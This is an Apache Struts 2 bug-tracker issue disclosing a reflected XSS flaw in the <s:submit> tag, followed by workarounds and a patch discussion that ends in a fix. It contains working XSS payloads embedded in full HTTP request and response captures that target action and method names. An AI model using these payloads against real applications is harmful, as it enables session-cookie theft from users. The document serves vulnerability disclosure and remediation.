Struts 2
  1. Struts 2
  2. WW-3579

Struts 2 <s:submit> XSS vulnerability

    Details

    • Type: Bug Bug
    • Status: Closed
    • Priority: Major Major
    • Resolution: Fixed
    • Affects Version/s: 2.2.1
    • Fix Version/s: 2.2.3
    • Component/s: None
    • Labels:
    • Environment:

      Application Server: Oracle WebLogic 10.3.3.0
      JRE: 1.6.9_05-b13
      Development Framework: Struts 2.2.1 (with XWork 2.2.1)

      Description

      Reflected XSS attacks can be performed on applications using Struts 2.2.1 (with XWork 2.2.1) via <s:submit> tag when the following conditions are met:

      • no declarative error handling rule is defined in struts.xml with <global-exception-mappings> AND
      • Dynamic Method Invocation is enabled (this is enabled by default) AND
      • bash syntax is used in JSP via <s:submit> tag for calling Struts actions and methods AND (
      • the called method is not defined in the action implementation class OR
      • the called action is not matching one already defined in struts.xml )

      Thus, a custom error page is generated by Struts/XWork (most likely the last one) for rendering such errors. Due to the lack of output encoding for either action or method passed via <s:submit> tag using bash syntax, reflected XSS can be performed by injecting malicious scripting code into both the invoked action and method.

      Relevant Struts configuration, Java and JSP code is provided below, as well as two test cases showing the reflected XSS issues in Struts/XWork generated error page.

      1. Configuration

      1.1 struts.xml

      NOTE: action cantlogin is used for subsequent tests

      <?xml version="1.0" encoding="UTF-8" ?>
      <!DOCTYPE struts PUBLIC
      "-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"
      "http://struts.apache.org/dtds/struts-2.0.dtd">

      <struts>

      <constant name="struts.devMode" value="false" />
      <constant name="struts.i18n.encoding" value="UTF-8" />
      <constant name="struts.codebehind.pathPrefix" value="/WEB-INF/pages/" />
      <constant name="struts.action.extension" value="html" />
      <constant name="struts.ui.theme" value="simple"/>
      <constant name="struts.custom.i18n.resources" value="ErrorCodes,ApplicationResources" />
      <constant name="struts.multipart.maxSize" value="26214400"/>

      <!-- Include Struts defaults -->
      <include file="struts-default.xml" />

      <!-- Configuration for the default package. -->
      <package name="default" extends="struts-default">

      ...
      <global-results>
      <result name="login" type="redirectAction">home</result>
      <result name="sslError">/error.jsp</result>
      </global-results>

      ...

      <action name="login" class="some_path.action.LoginAction">
      <param name="fieldSetNames">...</param>
      <result name="input">/WEB-INF/pages/home.jsp</result>
      <result name="error">/WEB-INF/pages/home.jsp</result>
      <result name="cantlogin" type="redirectAction">
      <param name="actionName">cantlogin</param>
      <param name="userId">$

      {userId}

      </param>
      </result>
      <result name="proceed" type="redirect">landing.html</result>
      </action>

      </package>

      </struts>

      1.2 checking for Dynamic Method Invocation in the Struts 2.2.1 source code (struts2-core-2.2.1-sources.jar), the DMI setting is set to true in default.properties

      struts.enable.DynamicMethodInvocation = true

      2. Code

      2.1 LoginAction.java

      package some_path.action;
      ...
      public class LoginAction extends BaseAction {

      public static final String CANTLOGIN = "cantlogin";
      ...
      public String cantLogin(){
      String returnType = ERROR;
      try

      { ... returnType = CANTLOGIN; }

      catch (CException ce)

      { setMessage(getText(ce.getErrorCode().trim())); }catch (Exception e) { setMessage(getText("ERR_GENERIC")); }
      return returnType;
      }

      public String doLogin() {
      String returnType = ERROR;
      try { ... } catch (CException ce) { setMessage(getText(ce.getErrorCode().trim())); }

      catch (Exception e)

      { setMessage(getText("ERR_GENERIC")); }

      return returnType;
      }
      }

      2.2 login.jsp

      <!DOCTYPE html PUBLIC "-// W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
      <%@ include file="/common/taglibs.jsp"%>
      <html xmlns="http://www.w3.org/1999/xhtml">
      <head>
      ...
      </head>
      <body>
      ...
      <form name="loginform" id="loginform" method="post" action="">
      ...
      <s:submit action="login" method="doLogin" name="signin" key="sign.in" cssClass="login-submit" theme="simple" />
      <s:submit action="login" method="cantLogin" name="cantlogin" key="cant.login" cssClass="cant-login right" theme="simple" />
      </form>
      ...
      </body>
      </html>

      NOTE: For the tests detailed in section 3, <s:submit > tag is used to call cantLogin method of LoginAction class.

      In HTML code this is rendered using the bash syntax as shown below:

      ...
      <input type="submit" id="cantlogin" name="action:login!cantLogin" value="Can't login" class="cant-login right"/>

      </div>
      </form>
      ...

      3. XSS Tests

      3.1 passing in a nonexisting method cantLogin<script>alert(document.cookie)</script>

      HTTP request:

      POST http://test.app.net/home.html HTTP/1.1
      Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/xaml+xml, application/vnd.ms-xpsdocument, application/x-ms-xbap, application/x-ms-application, /
      Referer: http://test.app.net/home.html
      Accept-Language: en
      Content-Type: application/x-www-form-urlencoded
      UA-CPU: x86
      Accept-Encoding: gzip, deflate
      User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
      Proxy-Connection: Keep-Alive
      Host: test.app.net
      Pragma: no-cache
      Cookie: JSESSIONID=pqghNp0cQb46PcrgY6SL4nG9GnFq9bDpq7L6Vyk4nsV8sQjd01Gc!1161154239
      Content-Length: 112

      USER_ID=&PASSWORD=&action%3Alogin%21cantLogin<script>alert(document.cookie)</script>=Can%27t+login

      HTTP response:

      HTTP/1.1 500 Internal Server Error
      Date: Fri, 18 Feb 2011 18:16:51 GMT
      Content-Type: text/html; charset=UTF-8
      Content-Length: 97
      Proxy-Connection: Keep-Alive
      Connection: Keep-Alive
      Set-Cookie: ACE-Insert=R4124232031; path=/
      Age: 0

      some_path.action.LoginAction.cantLogin<script>alert(document.cookie)</script>()

      NOTE 1: Without proper output escaping for the invoked method (which is controlled by the user), the injected scripting code will be executed by the browser (the HTTP response's content-type header is set to text/html).

      This allows successful reflected XSS attacks using <s:submit> tag.

      NOTE 2: the returned error also exposes internal paths for the Java class implementing the action for which we manipulate the method to be called (LoginAction in this case).

      3.2 passing in a nonexistent action login<script>alert(document.cookie)</script>

      HTTP request:

      POST http://test.app.net/home.html HTTP/1.1
      Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/xaml+xml, application/vnd.ms-xpsdocument, application/x-ms-xbap, application/x-ms-application, /
      Referer: http://test.app.net/home.html
      Accept-Language: en
      Content-Type: application/x-www-form-urlencoded
      UA-CPU: x86
      Accept-Encoding: gzip, deflate
      User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
      Proxy-Connection: Keep-Alive
      Host: test.app.net
      Pragma: no-cache
      Cookie: JSESSIONID=pqghNp0cQb46PcrgY6SL4nG9GnFq9bDpq7L6Vyk4nsV8sQjd01Gc!1161154239
      Content-Length: 112

      USER_ID=&PASSWORD=&action%3Alogin<script>alert(document.cookie)</script>%21cantLogin=Can%27t+login

      HTTP response:

      HTTP/1.1 404 Not Found
      Date: Fri, 18 Feb 2011 18:21:33 GMT
      Content-Type: text/html; charset=UTF-8
      X-GMS-SVR: wpFour
      Content-Length: 103
      Proxy-Connection: Keep-Alive
      Connection: Keep-Alive
      Set-Cookie: ACE-Insert=R4124232031; path=/
      Age: 0

      There is no Action mapped for namespace / and action name login<script>alert(document.cookie)</script>.

      NOTE: Without proper output escaping for the invoked action (which is controlled by the user), the injected scripting code will be executed by the browser (the HTTP response's content-type header is set to text/html).

      This allows successful reflected XSS attacks using <s:submit> tag.

      1. WW-3579.patch
        4 kB
        Lukasz Lenart
      2. WW-35791-4.patch
        1 kB
        Lukasz Lenart
      3. WW-3579 - 2.patch
        4 kB
        Marian Ventuneac
      4. WW-3579 - 3.patch
        4 kB
        Marian Ventuneac

        Activity

        Hide
        Lukasz Lenart added a comment - - edited

        There are two workarounds:

        1. disable Dynamic Method Invocation adding to struts.xml the line below:

        <constant name="struts.enable.DynamicMethodInvocation" value="false" />

        2. Second options is to define a custom global exception mapping in struts.xml, as below:

        /* struts.xml */

        <global-results>
        <result name="error">/error.jsp</result>
        </global-results>

        <global-exception-mappings>
        <exception-mapping exception="java.lang.Exception" result="error"/>
        </global-exception-mappings>

        /* error.jsp */

        <%@ page contentType="text/html;charset=UTF-8" language="java" %>
        <%@ taglib prefix="s" uri="/struts-tags" %>

        <html>
        <head><title>Simple jsp page</title></head>
        <body>
        <h3>Exception:</h3>
        <s:property value="exception"/>

        <h3>Stack trace:</h3>
        <pre>
        <s:property value="exceptionStack"/>
        </pre>
        </body>
        </html>

        Show
        Lukasz Lenart added a comment - - edited There are two workarounds: 1. disable Dynamic Method Invocation adding to struts.xml the line below: <constant name="struts.enable.DynamicMethodInvocation" value="false" /> 2. Second options is to define a custom global exception mapping in struts.xml, as below: /* struts.xml */ <global-results> <result name="error">/error.jsp</result> </global-results> <global-exception-mappings> <exception-mapping exception="java.lang.Exception" result="error"/> </global-exception-mappings> /* error.jsp */ <%@ page contentType="text/html;charset=UTF-8" language="java" %> <%@ taglib prefix="s" uri="/struts-tags" %> <html> <head><title>Simple jsp page</title></head> <body> <h3>Exception:</h3> <s:property value="exception"/> <h3>Stack trace:</h3> <pre> <s:property value="exceptionStack"/> </pre> </body> </html>
        Hide
        Lukasz Lenart added a comment -

        Possible patch

        Show
        Lukasz Lenart added a comment - Possible patch
        Hide
        Lukasz Lenart added a comment -

        Could someone test the attached patch ?

        Show
        Lukasz Lenart added a comment - Could someone test the attached patch ?
        Hide
        Marian Ventuneac added a comment - - edited

        Hi Lukasz,

        After fiddling a bit with Maven, I got a custom built for XWork 2.2.1 including the changes suggested in WW-3579.patch.

        However, this doesn't seem to fix the XSS issues - please see the test case below. If the XSS payload includes no JavaScript specific characters to be escaped, the XSS attack is still successful.

        To ease the whole testing process, I run same project on Tomcar 6.0.32 with custom 500 error page (to replicate the original issue).

        GET request (for XWork 2.2.1 with WW-3579.patch):

        GET /home.html?action:login!cantLogin%3Cimg%20onmouseover%3djavascript:alert(1)%3E=Can%27t+login HTTP/1.1
        Host: 127.0.0.1:8080
        User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 ( .NET CLR 3.5.30729)
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
        Accept-Language: en-us,en;q=0.5
        Accept-Encoding: gzip,deflate
        Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
        Keep-Alive: 115
        Proxy-Connection: keep-alive
        Cookie: JSESSIONID=EFE72ABCED6B9CF8B33BB3D3B3E576C9

        HTTP response (for XWork 2.2.1 with WW-3579.patch):

        HTTP/1.1 500 Internal Server Error
        Server: Apache-Coyote/1.1
        Content-Type: text/html
        Date: Fri, 25 Feb 2011 00:01:06 GMT
        Connection: close
        Content-Length: 101

        some_path.action.LoginAction.cantLogin<img onmouseover=javascript:alert(1)>()

        I took the liberty to alter the original code of DefaultActionProxy class and to sanitize both method and actionName attributes using StringEscapeUtils.escapeHtml() method - please see WW-3579 - 2.patch attached.

        The result for using same XSS payload is shown below:

        HTTP response (for XWork 2.2.1 with WW-3579.patch2):

        HTTP/1.1 500 Internal Server Error
        Server: Apache-Coyote/1.1
        Content-Type: text/html
        Date: Thu, 24 Feb 2011 23:59:12 GMT
        Connection: close
        Content-Length: 107

        some_path.action.LoginAction.cantLogin<img onmouseover=javascript:alert(1)>()

        The attached patch WW-3579 - 2.patch also addresses the XSS issues affecting actionName attribute of DefaultActionProxy class, something which was missed by the first patch.

        Any feedback on the suggested fixes is welcome.

        Regards,
        Marian

        Show
        Marian Ventuneac added a comment - - edited Hi Lukasz, After fiddling a bit with Maven, I got a custom built for XWork 2.2.1 including the changes suggested in WW-3579 .patch. However, this doesn't seem to fix the XSS issues - please see the test case below. If the XSS payload includes no JavaScript specific characters to be escaped, the XSS attack is still successful. To ease the whole testing process, I run same project on Tomcar 6.0.32 with custom 500 error page (to replicate the original issue). GET request (for XWork 2.2.1 with WW-3579 .patch): GET /home.html?action:login!cantLogin%3Cimg%20onmouseover%3djavascript:alert(1)%3E=Can%27t+login HTTP/1.1 Host: 127.0.0.1:8080 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 ( .NET CLR 3.5.30729) Accept: text/html,application/xhtml+xml,application/xml;q=0.9, / ;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Cookie: JSESSIONID=EFE72ABCED6B9CF8B33BB3D3B3E576C9 HTTP response (for XWork 2.2.1 with WW-3579 .patch): HTTP/1.1 500 Internal Server Error Server: Apache-Coyote/1.1 Content-Type: text/html Date: Fri, 25 Feb 2011 00:01:06 GMT Connection: close Content-Length: 101 some_path.action.LoginAction.cantLogin<img onmouseover=javascript:alert(1)>() I took the liberty to alter the original code of DefaultActionProxy class and to sanitize both method and actionName attributes using StringEscapeUtils.escapeHtml() method - please see WW-3579 - 2.patch attached. The result for using same XSS payload is shown below: HTTP response (for XWork 2.2.1 with WW-3579 .patch2): HTTP/1.1 500 Internal Server Error Server: Apache-Coyote/1.1 Content-Type: text/html Date: Thu, 24 Feb 2011 23:59:12 GMT Connection: close Content-Length: 107 some_path.action.LoginAction.cantLogin<img onmouseover=javascript:alert(1)>() The attached patch WW-3579 - 2.patch also addresses the XSS issues affecting actionName attribute of DefaultActionProxy class, something which was missed by the first patch. Any feedback on the suggested fixes is welcome. Regards, Marian
        Hide
        Marian Ventuneac added a comment -

        Patch for <s:submit> XSS vulnerabilities

        Show
        Marian Ventuneac added a comment - Patch for <s:submit> XSS vulnerabilities
        Hide
        Marian Ventuneac added a comment -

        Patch for <s:submit> XSS vulnerabilities

        Show
        Marian Ventuneac added a comment - Patch for <s:submit> XSS vulnerabilities
        Hide
        Lukasz Lenart added a comment - - edited

        Did you test your second patch - WW-3579 - 2.patch ? It looks good for me. My only curious it an efficiency of such a solution. Is it possible to measure by your team impact on efficiency ?

        Show
        Lukasz Lenart added a comment - - edited Did you test your second patch - WW-3579 - 2.patch ? It looks good for me. My only curious it an efficiency of such a solution. Is it possible to measure by your team impact on efficiency ?
        Hide
        Marian Ventuneac added a comment -

        Hi Lukasz,

        I am not sure what you mean by efficiency of the solution.

        If you refer to how good the solution would be to protect against XSS attacks injecting HTML tags, this should be as good as the current implementation of StringEscapeUtils.escapeHtml(string) method from Apache Commons.

        Considering that such XWork errors are not used as part of JavaScript code embedded into default error pages of application servers (not for WebLogic at least), this patch should be quite effective in preventing XSS attacks. Both WebLogic and Tomcat use UTF-8 encoding for such error pages, so no common UTF-7 XSS attacks are expected to work.

        However, for additional protection, I guess it would do no harm to use something like StringEscapeUtils.escapeJavaScript(StringEscapeUtils.escapeHtml(string)) to cover the JavaScript escaping as well - see an updated patch WW-3579 - 3.patch

        From preliminary tests, any of the two patches should do the job anyway.

        Show
        Marian Ventuneac added a comment - Hi Lukasz, I am not sure what you mean by efficiency of the solution. If you refer to how good the solution would be to protect against XSS attacks injecting HTML tags, this should be as good as the current implementation of StringEscapeUtils.escapeHtml(string) method from Apache Commons. Considering that such XWork errors are not used as part of JavaScript code embedded into default error pages of application servers (not for WebLogic at least), this patch should be quite effective in preventing XSS attacks. Both WebLogic and Tomcat use UTF-8 encoding for such error pages, so no common UTF-7 XSS attacks are expected to work. However, for additional protection, I guess it would do no harm to use something like StringEscapeUtils.escapeJavaScript(StringEscapeUtils.escapeHtml(string)) to cover the JavaScript escaping as well - see an updated patch WW-3579 - 3.patch From preliminary tests, any of the two patches should do the job anyway.
        Hide
        Marian Ventuneac added a comment -

        Struts 2 <s:submit> XSS vulnerabilities - patch 3

        Show
        Marian Ventuneac added a comment - Struts 2 <s:submit> XSS vulnerabilities - patch 3
        Hide
        Lukasz Lenart added a comment -

        I mean, an application efficiency that will use Struts 2. Calling StringEscapeUtils.escapeJavaScript(StringEscapeUtils.escapeHtml(string)) each time could be inefficient though.

        Show
        Lukasz Lenart added a comment - I mean, an application efficiency that will use Struts 2. Calling StringEscapeUtils.escapeJavaScript(StringEscapeUtils.escapeHtml(string)) each time could be inefficient though.
        Hide
        Lukasz Lenart added a comment - - edited

        A more optimal solution (patch no 4), action name and method name are escaped in the constructor.

        Action name can not be JavaScript escaped as it can contain slashes (which is valid) and then will break backward compatibility.

        Show
        Lukasz Lenart added a comment - - edited A more optimal solution (patch no 4), action name and method name are escaped in the constructor. Action name can not be JavaScript escaped as it can contain slashes (which is valid) and then will break backward compatibility.
        Hide
        Marian Ventuneac added a comment -

        This looks good, did the patch passed the tests I provided for this issue (see the original post and the one following the first patch)?

        Currently I can't build my version of Xwork - looks like some proxy issues.

        Show
        Marian Ventuneac added a comment - This looks good, did the patch passed the tests I provided for this issue (see the original post and the one following the first patch)? Currently I can't build my version of Xwork - looks like some proxy issues.
        Hide
        Lukasz Lenart added a comment -

        I don't see any test case in attached patches

        Show
        Lukasz Lenart added a comment - I don't see any test case in attached patches
        Hide
        Marian Ventuneac added a comment -

        The tests I did require an application developed with Struts 2 running on Tomcat AS. Basically, I am issuing GET and POST requests to trigger the errors from DefaultActionProxy class.

        Preliminary tests using patch 4 looks good:

        • dangerous HTML and JS characters are escaped when XSS payload is injected into method parameter
        • same applies to actioName parameter - HTML characters are escaped
        Show
        Marian Ventuneac added a comment - The tests I did require an application developed with Struts 2 running on Tomcat AS. Basically, I am issuing GET and POST requests to trigger the errors from DefaultActionProxy class. Preliminary tests using patch 4 looks good: dangerous HTML and JS characters are escaped when XSS payload is injected into method parameter same applies to actioName parameter - HTML characters are escaped
        Hide
        Lukasz Lenart added a comment -

        Ok, I've used struts2-blank with DMI enabled and it passed the test. So, we can close that issue and start preparing a new release

        Show
        Lukasz Lenart added a comment - Ok, I've used struts2-blank with DMI enabled and it passed the test. So, we can close that issue and start preparing a new release
        Hide
        Marian Ventuneac added a comment -

        Looking forward for the new Struts 2 release. Please let me know when you plan it, just to make sure I have the required security advisory ready (to be published on http://ventuneac.net)

        Show
        Marian Ventuneac added a comment - Looking forward for the new Struts 2 release. Please let me know when you plan it, just to make sure I have the required security advisory ready (to be published on http://ventuneac.net )

          People

          • Assignee:
            Lukasz Lenart
            Reporter:
            Marian Ventuneac
          • Votes:
            0 Vote for this issue
            Watchers:
            2 Start watching this issue

            Dates

            • Created:
              Updated:
              Resolved:

              Development